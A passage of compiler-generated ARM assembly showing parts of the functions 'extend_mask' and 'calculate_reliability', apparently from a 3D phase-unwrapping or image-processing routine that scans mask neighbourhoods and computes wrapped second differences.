ldr r3, [fp, #4]
sub r3, r3, #1
ldr r2, [fp, #-52]
cmp r2, r3
blt .L105
ldr r3, [fp, #-16]
lsl r3, r3, #1
mov r2, r3
ldr r3, [fp, #-64]
sub r3, r2, r3
add r3, r3, #1
ldr r2, [fp, #-56]
add r3, r2, r3
str r3, [fp, #-40]
ldr r3, [fp, #-16]
lsl r3, r3, #1
mov r2, r3
ldr r3, [fp, #-64]
sub r3, r2, r3
add r3, r3, #1
ldr r2, [fp, #-60]
add r3, r2, r3
str r3, [fp, #-36]
mov r3, #1
str r3, [fp, #-52]
b .L106
.L110:
mov r3, #1
str r3, [fp, #-44]
b .L107
.L109:
ldr r3, [fp, #-40]
ldrb r3, [r3] @ zero_extendqisi2
cmp r3, #0
bne .L108
ldr r3, [fp, #-40]
add r3, r3, #1
ldrb r3, [r3] @ zero_extendqisi2
cmp r3, #0
bne .L108
ldr r3, [fp, #-40]
sub r3, r3, #1
ldrb r3, [r3] @ zero_extendqisi2
cmp r3, #0
bne .L108
ldr r3, [fp, #-32]
rsb r3, r3, #0
ldr r2, [fp, #-40]
add r3, r2, r3
ldrb r3, [r3] @ zero_extendqisi2
cmp r3, #0
bne .L108
ldr r2, [fp, #-32]
ldr r3, [fp, #-20]
sub r3, r2, r3
ldr r2, [fp, #-40]
add r3, r2, r3
ldrb r3, [r3] @ zero_extendqisi2
cmp r3, #0
bne .L108
ldr r3, [fp, #-20]
rsb r3, r3, #0
ldr r2, [fp, #-40]
add r3, r2, r3
ldrb r3, [r3] @ zero_extendqisi2
cmp r3, #0
bne .L108
ldr r3, [fp, #-20]
ldr r2, [fp, #-40]
add r3, r2, r3
ldrb r3, [r3] @ zero_extendqisi2
cmp r3, #0
bne .L108
ldr r3, [fp, #-32]
mvn r3, r3
ldr r2, [fp, #-40]
add r3, r2, r3
ldrb r3, [r3] @ zero_extendqisi2
cmp r3, #0
bne .L108
ldr r2, [fp, #-32]
ldr r3, [fp, #-20]
sub r3, r2, r3
add r3, r3, #1
ldr r2, [fp, #-40]
add r3, r2, r3
ldrb r3, [r3] @ zero_extendqisi2
cmp r3, #0
bne .L108
ldr r3, [fp, #-32]
rsb r3, r3, #1
ldr r2, [fp, #-40]
add r3, r2, r3
ldrb r3, [r3] @ zero_extendqisi2
cmp r3, #0
bne .L108
ldr r2, [fp, #-32]
ldr r3, [fp, #-20]
sub r3, r2, r3
sub r3, r3, #1
ldr r2, [fp, #-40]
add r3, r2, r3
ldrb r3, [r3] @ zero_extendqisi2
cmp r3, #0
bne .L108
ldr r3, [fp, #-20]
rsb r2, r3, #0
ldr r3, [fp, #-32]
sub r3, r2, r3
sub r3, r3, #1
ldr r2, [fp, #-40]
add r3, r2, r3
ldrb r3, [r3] @ zero_extendqisi2
cmp r3, #0
bne .L108
ldr r3, [fp, #-32]
add r3, r3, #1
ldr r2, [fp, #-40]
add r3, r2, r3
ldrb r3, [r3] @ zero_extendqisi2
cmp r3, #0
bne .L108
ldr r3, [fp, #-20]
rsb r2, r3, #0
ldr r3, [fp, #-32]
sub r3, r2, r3
add r3, r3, #1
ldr r2, [fp, #-40]
add r3, r2, r3
ldrb r3, [r3] @ zero_extendqisi2
cmp r3, #0
bne .L108
ldr r3, [fp, #-32]
sub r3, r3, #1
ldr r2, [fp, #-40]
add r3, r2, r3
ldrb r3, [r3] @ zero_extendqisi2
cmp r3, #0
bne .L108
ldr r3, [fp, #-20]
rsb r2, r3, #0
ldr r3, [fp, #-32]
sub r3, r2, r3
ldr r2, [fp, #-40]
add r3, r2, r3
ldrb r3, [r3] @ zero_extendqisi2
cmp r3, #0
bne .L108
ldr r3, [fp, #-32]
ldr r2, [fp, #-40]
add r3, r2, r3
ldrb r3, [r3] @ zero_extendqisi2
cmp r3, #0
bne .L108
ldr r3, [fp, #-20]
mvn r3, r3
ldr r2, [fp, #-40]
add r3, r2, r3
ldrb r3, [r3] @ zero_extendqisi2
cmp r3, #0
bne .L108
ldr r3, [fp, #-20]
add r3, r3, #1
ldr r2, [fp, #-40]
add r3, r2, r3
ldrb r3, [r3] @ zero_extendqisi2
cmp r3, #0
bne .L108
ldr r3, [fp, #-20]
rsb r3, r3, #1
ldr r2, [fp, #-40]
add r3, r2, r3
ldrb r3, [r3] @ zero_extendqisi2
cmp r3, #0
bne .L108
ldr r3, [fp, #-20]
sub r3, r3, #1
ldr r2, [fp, #-40]
add r3, r2, r3
ldrb r3, [r3] @ zero_extendqisi2
cmp r3, #0
bne .L108
ldr r3, [fp, #-32]
ldr r2, [fp, #-20]
lsl r2, r2, #1
sub r3, r3, r2
sub r3, r3, #1
ldr r2, [fp, #-40]
add r3, r2, r3
ldrb r3, [r3] @ zero_extendqisi2
cmp r3, #0
bne .L108
ldr r2, [fp, #-20]
ldr r3, [fp, #-32]
sub r3, r2, r3
add r3, r3, #1
ldr r2, [fp, #-40]
add r3, r2, r3
ldrb r3, [r3] @ zero_extendqisi2
cmp r3, #0
bne .L108
ldr r3, [fp, #-32]
ldr r2, [fp, #-20]
lsl r2, r2, #1
sub r3, r3, r2
ldr r2, [fp, #-40]
add r3, r2, r3
ldrb r3, [r3] @ zero_extendqisi2
cmp r3, #0
bne .L108
ldr r2, [fp, #-20]
ldr r3, [fp, #-32]
sub r3, r2, r3
ldr r2, [fp, #-40]
add r3, r2, r3
ldrb r3, [r3] @ zero_extendqisi2
cmp r3, #0
bne .L108
ldr r3, [fp, #-32]
ldr r2, [fp, #-20]
lsl r2, r2, #1
sub r3, r3, r2
add r3, r3, #1
ldr r2, [fp, #-40]
add r3, r2, r3
ldrb r3, [r3] @ zero_extendqisi2
cmp r3, #0
bne .L108
ldr r2, [fp, #-20]
ldr r3, [fp, #-32]
sub r3, r2, r3
sub r3, r3, #1
ldr r2, [fp, #-40]
add r3, r2, r3
ldrb r3, [r3] @ zero_extendqisi2
cmp r3, #0
bne .L108
ldr r3, [fp, #-36]
mov r2, #0
strb r2, [r3]
.L108:
ldr r3, [fp, #-36]
add r3, r3, #1
str r3, [fp, #-36]
ldr r3, [fp, #-40]
add r3, r3, #1
str r3, [fp, #-40]
ldr r3, [fp, #-44]
add r3, r3, #1
str r3, [fp, #-44]
.L107:
ldr r3, [fp, #-64]
sub r3, r3, #1
ldr r2, [fp, #-44]
cmp r2, r3
blt .L109
ldr r2, [fp, #-20]
ldr r3, [fp, #-32]
sub r3, r2, r3
add r3, r3, #2
ldr r2, [fp, #-36]
add r3, r2, r3
str r3, [fp, #-36]
ldr r2, [fp, #-20]
ldr r3, [fp, #-32]
sub r3, r2, r3
add r3, r3, #2
ldr r2, [fp, #-40]
add r3, r2, r3
str r3, [fp, #-40]
ldr r3, [fp, #-52]
add r3, r3, #1
str r3, [fp, #-52]
.L106:
ldr r3, [fp, #4]
sub r3, r3, #1
ldr r2, [fp, #-52]
cmp r2, r3
blt .L110
.L100:
ldr r3, [fp, #8]
ldr r3, [r3, #16]
cmp r3, #1
bne .L122
ldr r3, [fp, #-64]
add r3, r3, #1
ldr r2, [fp, #-56]
add r3, r2, r3
str r3, [fp, #-40]
ldr r3, [fp, #-64]
add r3, r3, #1
ldr r2, [fp, #-60]
add r3, r2, r3
str r3, [fp, #-36]
mov r3, #1
str r3, [fp, #-48]
b .L112
.L116:
mov r3, #1
str r3, [fp, #-44]
b .L113
.L115:
ldr r3, [fp, #-40]
ldrb r3, [r3] @ zero_extendqisi2
cmp r3, #0
bne .L114
ldr r3, [fp, #-40]
sub r3, r3, #1
ldrb r3, [r3] @ zero_extendqisi2
cmp r3, #0
bne .L114
ldr r3, [fp, #-40]
add r3, r3, #1
ldrb r3, [r3] @ zero_extendqisi2
cmp r3, #0
bne .L114
ldr r3, [fp, #-32]
rsb r3, r3, #0
ldr r2, [fp, #-40]
add r3, r2, r3
ldrb r3, [r3] @ zero_extendqisi2
cmp r3, #0
bne .L114
ldr r3, [fp, #-32]
ldr r2, [fp, #-40]
add r3, r2, r3
ldrb r3, [r3] @ zero_extendqisi2
cmp r3, #0
bne .L114
ldr r3, [fp, #-20]
ldr r2, [fp, #-40]
add r3, r2, r3
ldrb r3, [r3] @ zero_extendqisi2
cmp r3, #0
bne .L114
ldr r2, [fp, #-8]
ldr r3, [fp, #-20]
sub r3, r2, r3
ldr r2, [fp, #-40]
add r3, r2, r3
ldrb r3, [r3] @ zero_extendqisi2
cmp r3, #0
bne .L114
ldr r3, [fp, #-32]
mvn r3, r3
ldr r2, [fp, #-40]
add r3, r2, r3
ldrb r3, [r3] @ zero_extendqisi2
cmp r3, #0
bne .L114
ldr r3, [fp, #-32]
add r3, r3, #1
ldr r2, [fp, #-40]
add r3, r2, r3
ldrb r3, [r3] @ zero_extendqisi2
cmp r3, #0
bne .L114
ldr r3, [fp, #-32]
rsb r3, r3, #1
ldr r2, [fp, #-40]
add r3, r2, r3
ldrb r3, [r3] @ zero_extendqisi2
cmp r3, #0
bne .L114
ldr r3, [fp, #-32]
sub r3, r3, #1
ldr r2, [fp, #-40]
add r3, r2, r3
ldrb r3, [r3] @ zero_extendqisi2
cmp r3, #0
bne .L114
ldr r2, [fp, #-8]
ldr r3, [fp, #-20]
sub r2, r2, r3
ldr r3, [fp, #-32]
sub r3, r2, r3
sub r3, r3, #1
ldr r2, [fp, #-40]
add r3, r2, r3
ldrb r3, [r3] @ zero_extendqisi2
cmp r3, #0
bne .L114
ldr r2, [fp, #-20]
ldr r3, [fp, #-32]
add r3, r2, r3
add r3, r3, #1
ldr r2, [fp, #-40]
add r3, r2, r3
ldrb r3, [r3] @ zero_extendqisi2
cmp r3, #0
bne .L114
ldr r2, [fp, #-8]
ldr r3, [fp, #-20]
sub r2, r2, r3
ldr r3, [fp, #-32]
sub r3, r2, r3
ldr r2, [fp, #-40]
add r3, r2, r3
ldrb r3, [r3] @ zero_extendqisi2
cmp r3, #0
bne .L114
ldr r2, [fp, #-20]
ldr r3, [fp, #-32]
add r3, r2, r3
ldr r2, [fp, #-40]
add r3, r2, r3
ldrb r3, [r3] @ zero_extendqisi2
cmp r3, #0
bne .L114
ldr r2, [fp, #-8]
ldr r3, [fp, #-20]
sub r2, r2, r3
ldr r3, [fp, #-32]
sub r3, r2, r3
add r3, r3, #1
ldr r2, [fp, #-40]
add r3, r2, r3
ldrb r3, [r3] @ zero_extendqisi2
cmp r3, #0
bne .L114
ldr r2, [fp, #-20]
ldr r3, [fp, #-32]
add r3, r2, r3
sub r3, r3, #1
ldr r2, [fp, #-40]
add r3, r2, r3
ldrb r3, [r3] @ zero_extendqisi2
cmp r3, #0
bne .L114
ldr r2, [fp, #-8]
ldr r3, [fp, #-20]
sub r3, r2, r3
sub r3, r3, #1
ldr r2, [fp, #-40]
add r3, r2, r3
ldrb r3, [r3] @ zero_extendqisi2
cmp r3, #0
bne .L114
ldr r3, [fp, #-20]
add r3, r3, #1
ldr r2, [fp, #-40]
add r3, r2, r3
ldrb r3, [r3] @ zero_extendqisi2
cmp r3, #0
bne .L114
ldr r2, [fp, #-8]
ldr r3, [fp, #-20]
sub r3, r2, r3
add r3, r3, #1
ldr r2, [fp, #-40]
add r3, r2, r3
ldrb r3, [r3] @ zero_extendqisi2
cmp r3, #0
bne .L114
ldr r3, [fp, #-20]
sub r3, r3, #1
ldr r2, [fp, #-40]
add r3, r2, r3
ldrb r3, [r3] @ zero_extendqisi2
cmp r3, #0
bne .L114
ldr r2, [fp, #-8]
ldr r3, [fp, #-20]
sub r2, r2, r3
ldr r3, [fp, #-32]
add r3, r2, r3
sub r3, r3, #1
ldr r2, [fp, #-40]
add r3, r2, r3
ldrb r3, [r3] @ zero_extendqisi2
cmp r3, #0
bne .L114
ldr r2, [fp, #-20]
ldr r3, [fp, #-32]
sub r3, r2, r3
add r3, r3, #1
ldr r2, [fp, #-40]
add r3, r2, r3
ldrb r3, [r3] @ zero_extendqisi2
cmp r3, #0
bne .L114
ldr r2, [fp, #-8]
ldr r3, [fp, #-20]
sub r2, r2, r3
ldr r3, [fp, #-32]
add r3, r2, r3
ldr r2, [fp, #-40]
add r3, r2, r3
ldrb r3, [r3] @ zero_extendqisi2
cmp r3, #0
bne .L114
ldr r2, [fp, #-20]
ldr r3, [fp, #-32]
sub r3, r2, r3
ldr r2, [fp, #-40]
add r3, r2, r3
ldrb r3, [r3] @ zero_extendqisi2
cmp r3, #0
bne .L114
ldr r2, [fp, #-8]
ldr r3, [fp, #-20]
sub r2, r2, r3
ldr r3, [fp, #-32]
add r3, r2, r3
add r3, r3, #1
ldr r2, [fp, #-40]
add r3, r2, r3
ldrb r3, [r3] @ zero_extendqisi2
cmp r3, #0
bne .L114
ldr r2, [fp, #-20]
ldr r3, [fp, #-32]
sub r3, r2, r3
sub r3, r3, #1
ldr r2, [fp, #-40]
add r3, r2, r3
ldrb r3, [r3] @ zero_extendqisi2
cmp r3, #0
bne .L114
ldr r3, [fp, #-36]
mov r2, #0
strb r2, [r3]
.L114:
ldr r3, [fp, #-36]
add r3, r3, #1
str r3, [fp, #-36]
ldr r3, [fp, #-40]
add r3, r3, #1
str r3, [fp, #-40]
ldr r3, [fp, #-44]
add r3, r3, #1
str r3, [fp, #-44]
.L113:
ldr r3, [fp, #-64]
sub r3, r3, #1
ldr r2, [fp, #-44]
cmp r2, r3
blt .L115
ldr r3, [fp, #-36]
add r3, r3, #2
str r3, [fp, #-36]
ldr r3, [fp, #-40]
add r3, r3, #2
str r3, [fp, #-40]
ldr r3, [fp, #-48]
add r3, r3, #1
str r3, [fp, #-48]
.L112:
ldr r3, [fp, #-68]
sub r3, r3, #1
ldr r2, [fp, #-48]
cmp r2, r3
blt .L116
ldr r2, [fp, #-12]
ldr r3, [fp, #-16]
sub r2, r2, r3
ldr r3, [fp, #-64]
add r3, r2, r3
add r3, r3, #1
ldr r2, [fp, #-56]
add r3, r2, r3
str r3, [fp, #-40]
ldr r2, [fp, #-12]
ldr r3, [fp, #-16]
sub r2, r2, r3
ldr r3, [fp, #-64]
add r3, r2, r3
add r3, r3, #1
ldr r2, [fp, #-60]
add r3, r2, r3
str r3, [fp, #-36]
mov r3, #1
str r3, [fp, #-48]
b .L117
.L121:
mov r3, #1
str r3, [fp, #-44]
b .L118
.L120:
ldr r3, [fp, #-40]
ldrb r3, [r3] @ zero_extendqisi2
cmp r3, #0
bne .L119
ldr r3, [fp, #-40]
add r3, r3, #1
ldrb r3, [r3] @ zero_extendqisi2
cmp r3, #0
bne .L119
ldr r3, [fp, #-40]
sub r3, r3, #1
ldrb r3, [r3] @ zero_extendqisi2
cmp r3, #0
bne .L119
ldr r3, [fp, #-32]
rsb r3, r3, #0
ldr r2, [fp, #-40]
add r3, r2, r3
ldrb r3, [r3] @ zero_extendqisi2
cmp r3, #0
bne .L119
ldr r2, [fp, #-32]
ldr r3, [fp, #-20]
sub r3, r2, r3
ldr r2, [fp, #-40]
add r3, r2, r3
ldrb r3, [r3] @ zero_extendqisi2
cmp r3, #0
bne .L119
ldr r3, [fp, #-20]
rsb r3, r3, #0
ldr r2, [fp, #-40]
add r3, r2, r3
ldrb r3, [r3] @ zero_extendqisi2
cmp r3, #0
bne .L119
ldr r2, [fp, #-20]
ldr r3, [fp, #-8]
sub r3, r2, r3
ldr r2, [fp, #-40]
add r3, r2, r3
ldrb r3, [r3] @ zero_extendqisi2
cmp r3, #0
bne .L119
ldr r3, [fp, #-32]
mvn r3, r3
ldr r2, [fp, #-40]
add r3, r2, r3
ldrb r3, [r3] @ zero_extendqisi2
cmp r3, #0
bne .L119
ldr r3, [fp, #-32]
add r3, r3, #1
ldr r2, [fp, #-40]
add r3, r2, r3
ldrb r3, [r3] @ zero_extendqisi2
cmp r3, #0
bne .L119
ldr r3, [fp, #-32]
rsb r3, r3, #1
ldr r2, [fp, #-40]
add r3, r2, r3
ldrb r3, [r3] @ zero_extendqisi2
cmp r3, #0
bne .L119
ldr r3, [fp, #-32]
sub r3, r3, #1
ldr r2, [fp, #-40]
add r3, r2, r3
ldrb r3, [r3] @ zero_extendqisi2
cmp r3, #0
bne .L119
ldr r3, [fp, #-20]
rsb r2, r3, #0
ldr r3, [fp, #-32]
sub r3, r2, r3
sub r3, r3, #1
ldr r2, [fp, #-40]
add r3, r2, r3
ldrb r3, [r3] @ zero_extendqisi2
cmp r3, #0
bne .L119
ldr r2, [fp, #-20]
ldr r3, [fp, #-8]
sub r2, r2, r3
ldr r3, [fp, #-32]
add r3, r2, r3
add r3, r3, #1
ldr r2, [fp, #-40]
add r3, r2, r3
ldrb r3, [r3] @ zero_extendqisi2
cmp r3, #0
bne .L119
ldr r3, [fp, #-20]
rsb r2, r3, #0
ldr r3, [fp, #-32]
sub r3, r2, r3
add r3, r3, #1
ldr r2, [fp, #-40]
add r3, r2, r3
ldrb r3, [r3] @ zero_extendqisi2
cmp r3, #0
bne .L119
ldr r2, [fp, #-20]
ldr r3, [fp, #-8]
sub r2, r2, r3
ldr r3, [fp, #-32]
add r3, r2, r3
sub r3, r3, #1
ldr r2, [fp, #-40]
add r3, r2, r3
ldrb r3, [r3] @ zero_extendqisi2
cmp r3, #0
bne .L119
ldr r3, [fp, #-20]
rsb r2, r3, #0
ldr r3, [fp, #-32]
sub r3, r2, r3
ldr r2, [fp, #-40]
add r3, r2, r3
ldrb r3, [r3] @ zero_extendqisi2
cmp r3, #0
bne .L119
ldr r2, [fp, #-20]
ldr r3, [fp, #-8]
sub r2, r2, r3
ldr r3, [fp, #-32]
add r3, r2, r3
ldr r2, [fp, #-40]
add r3, r2, r3
ldrb r3, [r3] @ zero_extendqisi2
cmp r3, #0
bne .L119
ldr r3, [fp, #-20]
mvn r3, r3
ldr r2, [fp, #-40]
add r3, r2, r3
ldrb r3, [r3] @ zero_extendqisi2
cmp r3, #0
bne .L119
ldr r2, [fp, #-20]
ldr r3, [fp, #-8]
sub r3, r2, r3
add r3, r3, #1
ldr r2, [fp, #-40]
add r3, r2, r3
ldrb r3, [r3] @ zero_extendqisi2
cmp r3, #0
bne .L119
ldr r3, [fp, #-20]
rsb r3, r3, #1
ldr r2, [fp, #-40]
add r3, r2, r3
ldrb r3, [r3] @ zero_extendqisi2
cmp r3, #0
bne .L119
ldr r2, [fp, #-20]
ldr r3, [fp, #-8]
sub r3, r2, r3
sub r3, r3, #1
ldr r2, [fp, #-40]
add r3, r2, r3
ldrb r3, [r3] @ zero_extendqisi2
cmp r3, #0
bne .L119
ldr r2, [fp, #-32]
ldr r3, [fp, #-20]
sub r3, r2, r3
sub r3, r3, #1
ldr r2, [fp, #-40]
add r3, r2, r3
ldrb r3, [r3] @ zero_extendqisi2
cmp r3, #0
bne .L119
ldr r2, [fp, #-20]
ldr r3, [fp, #-8]
sub r2, r2, r3
ldr r3, [fp, #-32]
sub r3, r2, r3
add r3, r3, #1
ldr r2, [fp, #-40]
add r3, r2, r3
ldrb r3, [r3] @ zero_extendqisi2
cmp r3, #0
bne .L119
ldr r2, [fp, #-32]
ldr r3, [fp, #-20]
sub r3, r2, r3
ldr r2, [fp, #-40]
add r3, r2, r3
ldrb r3, [r3] @ zero_extendqisi2
cmp r3, #0
bne .L119
ldr r2, [fp, #-20]
ldr r3, [fp, #-8]
sub r2, r2, r3
ldr r3, [fp, #-32]
sub r3, r2, r3
ldr r2, [fp, #-40]
add r3, r2, r3
ldrb r3, [r3] @ zero_extendqisi2
cmp r3, #0
bne .L119
ldr r2, [fp, #-32]
ldr r3, [fp, #-20]
sub r3, r2, r3
add r3, r3, #1
ldr r2, [fp, #-40]
add r3, r2, r3
ldrb r3, [r3] @ zero_extendqisi2
cmp r3, #0
bne .L119
ldr r2, [fp, #-20]
ldr r3, [fp, #-8]
sub r2, r2, r3
ldr r3, [fp, #-32]
sub r3, r2, r3
sub r3, r3, #1
ldr r2, [fp, #-40]
add r3, r2, r3
ldrb r3, [r3] @ zero_extendqisi2
cmp r3, #0
bne .L119
ldr r3, [fp, #-36]
mov r2, #0
strb r2, [r3]
.L119:
ldr r3, [fp, #-36]
add r3, r3, #1
str r3, [fp, #-36]
ldr r3, [fp, #-40]
add r3, r3, #1
str r3, [fp, #-40]
ldr r3, [fp, #-44]
add r3, r3, #1
str r3, [fp, #-44]
.L118:
ldr r3, [fp, #-64]
sub r3, r3, #1
ldr r2, [fp, #-44]
cmp r2, r3
blt .L120
ldr r3, [fp, #-36]
add r3, r3, #2
str r3, [fp, #-36]
ldr r3, [fp, #-40]
add r3, r3, #2
str r3, [fp, #-40]
ldr r3, [fp, #-48]
add r3, r3, #1
str r3, [fp, #-48]
.L117:
ldr r3, [fp, #-68]
sub r3, r3, #1
ldr r2, [fp, #-48]
cmp r2, r3
blt .L121
.L122:
nop
add sp, fp, #0
@ sp needed
ldr fp, [sp], #4
bx lr
.size extend_mask, .-extend_mask
.global __aeabi_dmul
.align 2
.global calculate_reliability
.syntax unified
.arm
.fpu softvfp
.type calculate_reliability, %function
calculate_reliability:
@ args = 8, pretend = 0, frame = 152
@ frame_needed = 1, uses_anonymous_args = 0
push {r4, r5, fp, lr}
add fp, sp, #12
sub sp, sp, #152
str r0, [fp, #-152]
str r1, [fp, #-156]
str r2, [fp, #-160]
str r3, [fp, #-164]
ldr r3, [fp, #-160]
ldr r2, [fp, #-164]
mul r3, r2, r3
str r3, [fp, #-124]
ldr r3, [fp, #-160]
ldr r2, [fp, #-164]
mul r2, r3, r2
ldr r3, [fp, #4]
mul r3, r2, r3
str r3, [fp, #-120]
ldr r2, [fp, #-124]
ldr r3, [fp, #-160]
add r3, r2, r3
add r3, r3, #1
lsl r3, r3, #3
ldr r2, [fp, #-152]
add r3, r2, r3
str r3, [fp, #-140]
ldr r2, [fp, #-124]
ldr r3, [fp, #-160]
add r3, r2, r3
add r2, r3, #1
mov r3, r2
lsl r3, r3, #1
add r3, r3, r2
lsl r3, r3, #4
mov r2, r3
ldr r3, [fp, #-156]
add r3, r3, r2
str r3, [fp, #-144]
mov r3, #1
str r3, [fp, #-136]
b .L124
.L130:
mov r3, #1
str r3, [fp, #-132]
b .L125
.L129:
mov r3, #1
str r3, [fp, #-128]
b .L126
.L128:
ldr r3, [fp, #-144]
ldrb r3, [r3, #25] @ zero_extendqisi2
cmp r3, #0
bne .L127
ldr r3, [fp, #-140]
sub r3, r3, #8
ldmia r3, {r0-r1}
ldr r3, [fp, #-140]
ldmia r3, {r2-r3}
bl __aeabi_dsub
mov r2, r0
mov r3, r1
mov r0, r2
mov r1, r3
bl wrap
mov r4, r0
mov r5, r1
ldr r3, [fp, #-140]
ldmia r3, {r0-r1}
ldr r3, [fp, #-140]
add r3, r3, #8
ldmia r3, {r2-r3}
bl __aeabi_dsub
mov r2, r0
mov r3, r1
mov r0, r2
mov r1, r3
bl wrap
mov r2, r0
mov r3, r1
mov r0, r4
mov r1, r5
bl __aeabi_dsub
mov r2, r0
mov r3, r1
str r2, [fp, #-116]
str r3, [fp, #-112]
ldr r3, [fp, #-160]
lsl r3, r3, #3
rsb r3, r3, #0
ldr r2, [fp, #-140]
add r3, r2, r3
ldmia r3, {r0-r1}
ldr r3, [fp, #-140]
ldmia r3, {r2-r3}
bl __aeabi_dsub
mov r2, r0
mov r3, r1
mov r0, r2
mov r1, r3
bl wrap
mov r4, r0
mov r5, r1
ldr r3, [fp, #-140]
ldmia r3, {r0-r1}
ldr r3, [fp, #-160]
lsl r3, r3, #3
ldr r2, [fp, #-140]
add r3, r2, r3
ldmia r3, {r2-r3}
bl __aeabi_dsub
mov r2, r0
mov r3, r1
mov r0, r2
mov r1, r3
bl wrap
mov r2, r0
mov r3, r1
mov r0, r4
mov r1, r5
bl __aeabi_dsub
mov r2, r0
mov r3, r1
str r2, [fp, #-108]
str r3, [fp, #-104]
ldr r3, [fp, #-124]
lsl r3, r3, #3
rsb r3, r3, #0
ldr r2, [fp, #-140]
add r3, r2, r3
ldmia r3, {r0-r1}
ldr r3, [fp, #-140]
ldmia r3, {r2-r3}
bl __aeabi_dsub
mov r2, r0
mov r3, r1
mov r0, r2
mov r1, r3
bl wrap
mov r4, r0
mov r5, r1
ldr r3, [fp, #-140]
ldmia r3, {r0-r1}
ldr r3, [fp, #-124]
lsl r3, r3, #3
ldr r2, [fp, #-140]
add r3, r2, r3
ldmia r3, {r2-r3}
bl __aeabi_dsub
mov r2, r0
mov r3, r1
mov r0, r2
mov r1, r3
bl wrap
mov r2, r0
mov r3, r1
mov r0, r4
mov r1, r5
bl __aeabi_dsub
mov r2, r0
mov r3, r1
str r2, [fp, #-100]
str r3, [fp, #-96]
ldr r2, [fp, #-160]
mvn r3, #-536870912
sub r3, r3, r2
lsl r3, r3, #3
ldr r2, [fp, #-140]
add r3, r2, r3
ldmia r3, {r0-r1}
ldr r3, [fp, #-140]
ldmia r3, {r2-r3}
bl __aeabi_dsub
mov r2, r0
mov r3, r1
mov r0, r2
mov r1, r3
bl wrap
mov r4, r0
mov r5, r1
ldr r3, [fp, #-140]
ldmia r3, {r0-r1}
ldr r3, [fp, #-160]
add r3, r3, #1
lsl r3, r3, #3
ldr r2, [fp, #-140]
add r3, r2, r3
ldmia r3, {r2-r3}
bl __aeabi_dsub
mov r2, r0
mov r3, r1
mov r0, r2
mov r1, r3
bl wrap
mov r2, r0
mov r3, r1
mov r0, r4
mov r1, r5
bl __aeabi_dsub
mov r2, r0
mov r3, r1
str r2, [fp, #-92]
str r3, [fp, #-88]
ldr r3, [fp, #-160]
rsb r3, r3, #1
lsl r3, r3, #3
ldr r2, [fp, #-140]
add r3, r2, r3
ldmia r3, {r0-r1}
ldr r3, [fp, #-140]
ldmia r3, {r2-r3}
bl __aeabi_dsub
mov r2, r0
mov r3, r1
mov r0, r2
mov r1, r3
bl wrap
mov r4, r0
mov r5, r1
ldr r3, [fp, #-140]
ldmia r3, {r0-r1}
ldr r3, [fp, #-160]
sub r3, r3, #-536870911
lsl r3, r3, #3
ldr r2, [fp, #-140]
add r3, r2, r3
ldmia r3, {r2-r3}
bl __aeabi_dsub
mov r2, r0
mov r3, r1
mov r0, r2
mov r1, r3
bl wrap
mov r2, r0
mov r3, r1
mov r0, r4
mov r1, r5
bl __aeabi_dsub
mov r2, r0
mov r3, r1
str r2, [fp, #-84]
str r3, [fp, #-80]
ldr r3, [fp, #-124]
lsl r3, r3, #3
rsb r2, r3, #0
ldr r3, [fp, #-160]
lsl r3, r3, #3
sub r3, r2, r3
sub r3, r3, #8
ldr r2, [fp, #-140]
add r3, r2, r3
ldmia r3, {r0-r1}
ldr r3, [fp, #-140]
ldmia r3, {r2-r3}
bl __aeabi_dsub
mov r2, r0
mov r3, r1
mov r0, r2
mov r1, r3
bl wrap
mov r4, r0
mov r5, r1
ldr r3, [fp, #-140]
ldmia r3, {r0-r1}
ldr r2, [fp, #-124]
ldr r3, [fp, #-160]
add r3, r2, r3
add r3, r3, #1
lsl r3, r3, #3
ldr r2, [fp, #-140]
add r3, r2, r3
ldmia r3, {r2-r3}
bl __aeabi_dsub
mov r2, r0
mov r3, r1
mov r0, r2
mov r1, r3
bl wrap
mov r2, r0
mov r3, r1
mov r0, r4
mov r1, r5
bl __aeabi_dsub
mov r2, r0
mov r3, r1
str r2, [fp, #-76]
str r3, [fp, #-72]
ldr r3, [fp, #-124]
lsl r3, r3, #3
rsb r2, r3, #0
ldr r3, [fp, #-160]
lsl r3, r3, #3
sub r3, r2, r3
ldr r2, [fp, #-140]
add r3, r2, r3
ldmia r3, {r0-r1}
ldr r3, [fp, #-140]
ldmia r3, {r2-r3}
bl __aeabi_dsub
mov r2, r0
mov r3, r1
mov r0, r2
mov r1, r3
bl wrap
mov r4, r0
mov r5, r1
ldr r3, [fp, #-140]
ldmia r3, {r0-r1}
ldr r2, [fp, #-124]
ldr r3, [fp, #-160]
add r3, r2, r3
lsl r3, r3, #3
ldr r2, [fp, #-140]
add r3, r2, r3
ldmia r3, {r2-r3}
bl __aeabi_dsub
mov r2, r0
mov r3, r1
mov r0, r2
mov r1, r3
bl wrap
mov r2, r0
mov r3, r1
mov r0, r4
mov r1, r5
bl __aeabi_dsub
mov r2, r0
mov r3, r1
str r2, [fp, #-68]
str r3, [fp, #-64]
ldr r3, [fp, #-124]
lsl r3, r3, #3
rsb r2, r3, #0
ldr r3, [fp, #-160]
lsl r3, r3, #3
sub r3, r2, r3
add r3, r3, #8
ldr r2, [fp, #-140]
add r3, r2, r3
ldmia r3, {r0-r1}
ldr r3, [fp, #-140]
ldmia r3, {r2-r3}
bl __aeabi_dsub
mov r2, r0
mov r3, r1
mov r0, r2
mov r1, r3
bl wrap
mov r4, r0
mov r5, r1
ldr r3, [fp, #-140]
ldmia r3, {r0-r1}
ldr r2, [fp, #-124]
ldr r3, [fp, #-160]
add r3, r2, r3
sub r3, r3, #-536870911
lsl r3, r3, #3
ldr r2, [fp, #-140]
add r3, r2, r3
ldmia r3, {r2-r3}
bl __aeabi_dsub
mov r2, r0
mov r3, r1
mov r0, r2
mov r1, r3
bl wrap
mov r2, r0
mov r3, r1
mov r0, r4
mov r1, r5
bl __aeabi_dsub
mov r2, r0
mov r3, r1
str r2, [fp, #-60]
str r3, [fp, #-56]
ldr r2, [fp, #-124]
mvn r3, #-536870912
sub r3, r3, r2
lsl r3, r3, #3
ldr r2, [fp, #-140]
add r3, r2, r3
ldmia r3, {r0-r1}
ldr r3, [fp, #-140]
ldmia r3, {r2-r3}
bl __aeabi_dsub
mov r2, r0
mov r3, r1
mov r0, r2
mov r1, r3
bl wrap
mov r4, r0
mov r5, r1
ldr r3, [fp, #-140]
ldmia r3, {r0-r1}
ldr r3, [fp, #-124]
add r3, r3, #1
lsl r3, r3, #3
ldr r2, [fp, #-140]
add r3, r2, r3
ldmia r3, {r2-r3}
bl __aeabi_dsub
mov r2, r0
mov r3, r1
mov r0, r2
mov r1, r3
bl wrap
mov r2, r0
mov r3, r1
mov r0, r4
mov r1, r5
